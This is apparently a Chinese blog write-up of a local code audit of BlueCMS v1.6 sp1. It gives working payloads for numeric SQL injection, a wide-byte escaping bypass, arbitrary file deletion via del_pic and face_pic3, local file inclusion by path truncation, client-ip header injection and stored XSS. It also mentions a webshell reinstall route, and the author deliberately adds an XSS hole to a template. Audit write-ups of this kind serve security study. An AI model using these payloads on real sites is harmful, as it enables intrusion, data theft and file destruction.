BlueCMS版本号為:bluecms_v1.6_sp1
本地搭建環境後将源代碼丢進seay源代碼審計系統,開啟本地web服務頁面通路,大部分白盒+小部分黑盒審計
搭建好環境後第一步先檢查是否有重裝漏洞,通路網站install位置,我的網址是:
http://127.0.0.1/bluecms_v1.6_sp1/bluecms/install/
可以看到存在重裝漏洞,源代碼裡面沒有檢測網站是否已經搭建,是以我們可以通過重裝擷取管理者密碼進而在背景寫入shell
同時我們也可以在填入配置的時候,可以嘗試直接寫入一句話木馬進config.php檔案,進而拿到shell
這個時候seay審計工具也審計結束了
我們可以依次進行分析,找出漏洞
進入ID=1的漏洞詳情
疑似漏洞點為:
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
可以看到$ad_id沒有引号包裹,存在數字型SQL注入漏洞,接下來我們需要找到$ad_id參數的輸入點,構造利用點
這裡隻對輸入的$ad_id進行了空格的過濾
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
輸出位置代碼為:
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";
而在ad_js.php檔案的開頭引入了過濾檔案
require_once dirname(__FILE__) . '/include/common.inc.php';
我們檢視common.inc.php檔案,有
if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}
若果沒有開啟GPC防注入的話,則對POST,GET,COOKIE,REQUEST參數都進行過濾,但是deep_addslashes
function deep_addslashes($str)
{
if(is_array($str))
{
foreach($str as $key=>$val)
{
$str[$key] = deep_addslashes($val);
}
}
else
{
$str = addslashes($str);
}
return $str;
}
僅僅是在addslashes過濾函數基礎上的一個修改,而addslashes函數是不能防止數字型注入的,回到剛才漏洞的注入點:
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
可以看到這裡是數字型的注入,是以我們能夠直接進行注入。
添加單引号:
http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%27
從源代碼我們已經看出來這是數字型注入了,我們可以不輸入單引号,但是如果不是數字型注入,我們嘗試使用寬位元組繞過GPC
http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%df%27
成功令%df%27合成一個漢字
寬位元組注入繞過GPC實際上是PHP與MySQL互動過程中發生編碼轉換導緻的問題,從上面我們可以看到将轉義符去除了,進而可以對于字元型注入
當然這裡我們繼續使用數字型,使用order by 判斷字段數
http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%20order%20by%207
頁面沒有任何顯示,因為在ad_js.php的輸出裡面是
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";
将輸出在源代碼中注釋了,不會顯示在界面中,想要檢視也很簡單,檢視源代碼即可
字段數是7,檢視回顯位置
http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%20and%201=2%20union%20select%201,2,3,4,5,6,7
回顯位置是7,簡單檢視一下user使用者
成功讀取目前使用者,SQL注入漏洞成功利用。
第二個漏洞點在:
$db->query("UPDATE ".table('ann')." SET click = click+1 WHERE ann_id = ".$ann_id);
同樣可以看到可能存在數字型注入
$ann_id = !empty($_REQUEST['ann_id']) ? intval($_REQUEST['ann_id']) : '';
但是在這裡将輸入的ann_id進行了數字的轉換,以至于不能進一步利用
另外好幾個疑似SQL注入的點都是用intval進行了數字轉換導緻不能利用
疑似任意檔案删除漏洞:
elseif($act == 'del_pic')
{
$id = $_REQUEST['id'];
$db->query("DELETE FROM ".table('post_pic')." WHERE pic_path='$id'");
if(file_exists(BLUE_ROOT.$id))
{
@unlink(BLUE_ROOT.$id);
}
}
可以看出來,選擇動作為删除,傳入id參數,先從資料庫中将其删除,然後如果本地存在該檔案也一并繼續删除。
我們在同目錄下建立test.txt
payload為:
http://127.0.0.1/bluecms_v1.6_sp1/bluecms/publish.php?act=del_pic&id=test.txt
通路構造的網址
檔案已删除,進一步可删除伺服器任意檔案
二更
繼續看疑似漏洞點
$condition = " AND cat_id IN(SELECT cat_id FROM ".table('category')." WHERE parentid = ".$cid.")";
同樣,對于$cid使用了強轉,無法利用
$cid = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '';
本地檔案包含疑似漏洞點:
elseif ($act == 'pay'){
include 'data/pay.cache.php';
$price = $_POST['price'];
$id = $_POST['id'];
$name = $_POST['name'];
if (empty($_POST['pay'])) {
showmsg('對不起,您沒有選擇支付方式ʽ');
}
include 'include/payment/'.$_POST['pay']."/index.php";
}
我們到bluecms的檔案夾裡面去找pay能夠選擇哪種支付方式:
alipay,是以我們先構造pay=alipay
跳轉到了支付寶的一個支付界面,接着我們嘗試本地檔案包含,先嘗試%00截斷和和windows下點+斜杠截斷的方法,把本地phpstudy環境中php版本開到5.3.4以下,因為這兩個截斷在5.3以後的版本中已經全面修複了。
alipay同目錄下建立log.txt檔案,檔案内容為:
先嘗試00截斷:
頁面無回顯,我們在源代碼中添加一句:
重新送出POST資料,可以看到頁面顯示了我們送出後的pay
應該是引入了過濾函數,将0前面添加了反斜杠防止截斷。
再嘗試windows下使用240個連接配接的點進行截斷,我也沒數有多少個,反正多輸幾個再說
可以看到成功包含了本地檔案,存在本地檔案包含漏洞
在user.php中也存在疑似任意檔案删除
elseif($act == 'del_pic'){
$id = $_REQUEST['id'];
$db->query("DELETE FROM ".table('company_image')." WHERE path='$id'");
if(file_exists(BLUE_ROOT.$id)){
@unlink(BLUE_ROOT.$id);
}
}
可以看到這一段與之前publish.php是類似的(除了表名不同)
是以我們簡單嘗試是否存在任意檔案删除,到user.php同目錄檔案夾下建立test.txt
構造的payload為:
http://127.0.0.1/bluecms_v1.6_sp1/bluecms/user.php?act=del_pic&id=test.txt
但是此時頁面卻報錯了
個人感覺是由于在publish.php中删除,雖然其在資料庫中即便沒有找到該路徑,但是程式選擇了繼續執行下去,但是在user.php中設定的是如果沒有找到該路徑,就抛出錯誤,同時不再繼續進行,故這裡不能進行任意檔案的删除。
在user.php中另外一處疑似任意檔案删除漏洞
if (!empty($_POST['face_pic1'])){
if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'https://') != false){
showmsg('ֻ֧隻支援本站相對路徑位址');
}
else{
$face_pic = trim($_POST['face_pic1']);
}
}else{
if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
@unlink(BLUE_ROOT.$_POST['face_pic3']);
}
}
可以看到在else中對于POST輸入的face_pic3沒有進行其餘的檢查而直接@unlink删除了檔案。
同樣先建立test.txt檔案
hackerbar構造:
運作後更新個人資料成功
同時目錄下的test.txt檔案已被删除
bluecms中擷取使用者IP位址是通過:
function getip()
{
if (getenv('HTTP_CLIENT_IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR'))
{ //擷取用戶端用代理伺服器通路時的真實ip 位址
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED'))
{
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR'))
{
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED'))
{
$ip = getenv('HTTP_FORWARDED');
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
實際上使用XFF是能夠繞過的,大概看了一下,對于ban掉的IP也是通過XFF擷取到的IP位址來判斷的,并不安全
在guest_book.php檔案中調用了擷取到的IP位址存儲到資料庫中:
elseif ($act == 'send')
{
$user_id = $_SESSION['user_id'] ? $_SESSION['user_id'] : 0;
$rid = intval($_POST['rid']);
$content = !empty($_POST['content']) ? htmlspecialchars($_POST['content']) : '';
$content = nl2br($content);
if(empty($content))
{
showmsg('評論内容不能為空');
}
$sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content)
VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
$db->query($sql);
showmsg('恭喜您留言成功', 'guest_book.php?page_id='.$_POST['page_id']);
}
$online_ip是在guest_book.php包含的common.inc.php檔案中擷取到的:
$online_ip = getip();
getip函數在common.fun.php中,上面我們顯示過代碼,這裡不再贅述。
雖然整個代碼裡面開啟了SQL防注入以及參數過濾,但是在PHP5之後使用$_SERVER取到的header字段不會受到GPC的影響,而在header注入中最常見也是程式員經常會忽略的地方就是user-agent,referer以及client-ip/X-Forwarded-For,我們這裡就是利用這個特性鑽了空子而注入。
先在網頁上嘗試留言
留言成功,使用burpsuite抓包,使用client-ip僞造ip位址
這裡有很多種注入方式,我們簡單回顯目前資料庫使用者
明天再更,找一些XSS漏洞
三更
找一下XSS漏洞,XSS漏洞經常出現在文章發表,評論回複,留言以及資料設定等地方,這裡我們根據功能點去尋找
來到留言回報界面
http://127.0.0.1/bluecms_v1.6_sp1/bluecms/guest_book.php
代碼裡有:
$content = !empty($_POST['content']) ? htmlspecialchars($_POST['content']) : '';
對于我們輸入的正文content進行了XSS過濾
昨天有一個漏洞是client-ip進行注入,嘗試了一下在僞造ip中添加XSS攻擊腳本,但是getip()擷取的長度有限制,不能構成攻擊,但是這裡确實是存在XSS漏洞,将guest_book.htm顯示IP代碼修改一下:
發表于:{#$guest_list[g].add_time|date_format:"%Y-%m-%d %H:%M:%S"#} IP: <script>{#$guest_list[g].ip#}</script>
在IP處添加了script來顯示。
如果沒有長度限制,應該将script添加到client-ip裡面,發送留言
修改成有漏洞的代碼了hhh。
繼續尋找存儲型的XSS漏洞,存儲型XSS漏洞需要尋找未過濾的輸入點和未過濾的輸出函數,看一下個人資料處
這裡的個人資料是可以修改的,檢視輸入個人資料處代碼
$birthday = trim($_POST['birthday']);
$sex = intval($_POST['sex']);
$email = !empty($_POST['email']) ? trim($_POST['email']) : '';
$msn = !empty($_POST['msn']) ? trim($_POST['msn']) : '';
$qq = !empty($_POST['qq']) ? trim($_POST['qq']) : '';
$mobile_phone = !empty($_POST['mobile_phone']) ? trim($_POST['mobile_phone']) : '';
$office_phone = !empty($_POST['office_phone']) ? trim($_POST['office_phone']) : '';
$home_phone = !empty($_POST['home_phone']) ? trim($_POST['home_phone']) : '';
$address = !empty($_POST['address']) ? htmlspecialchars($_POST['address']) : '';
看上去隻對位址進行了XSS的過濾,再看看輸出的位置
$user = $db->getone("SELECT * FROM ".table('user')." WHERE user_id=".intval($_SESSION['user_id']));
$ann_arr = get_ann(0, 8);
template_assign(array(
'act',
'user',
'current_act',
'ann_arr'
),
array(
$act,
$user,
'會員中心',
$ann_arr
)
);
$smarty->display('user.htm');
将登陸使用者的資訊從資料庫中提取出來,并且以user.htm為模闆顯示出來,模闆部分代碼為:
實際上經過測試此處能夠XSS的輸入框有兩處:分别是郵箱,使用者頭像
因為現居住地經過了過濾,QQ,辦公電話有長度限制,出生日期我不知道怎麼設定的,應該是有輸入規範2020-4-22這種,不能輸入不合法的數字:
而郵箱處顯示代碼為:
<td align="left"><input name="email" type="text" value="{#$user.email#}" class="inputbox" /></td>
我們輸入payload為:
<script>alert(2)</script></td>//
個人頭像處顯示代碼為:
<td align="left"><input type="text" name="face_pic1" value="{#$user.face_pic#}" class="inputbox" /></td>
我們輸入payload為:
"/></td><script>alert(/xss/);</script>//
确認修改後通路user.php
成功執行存儲型XSS。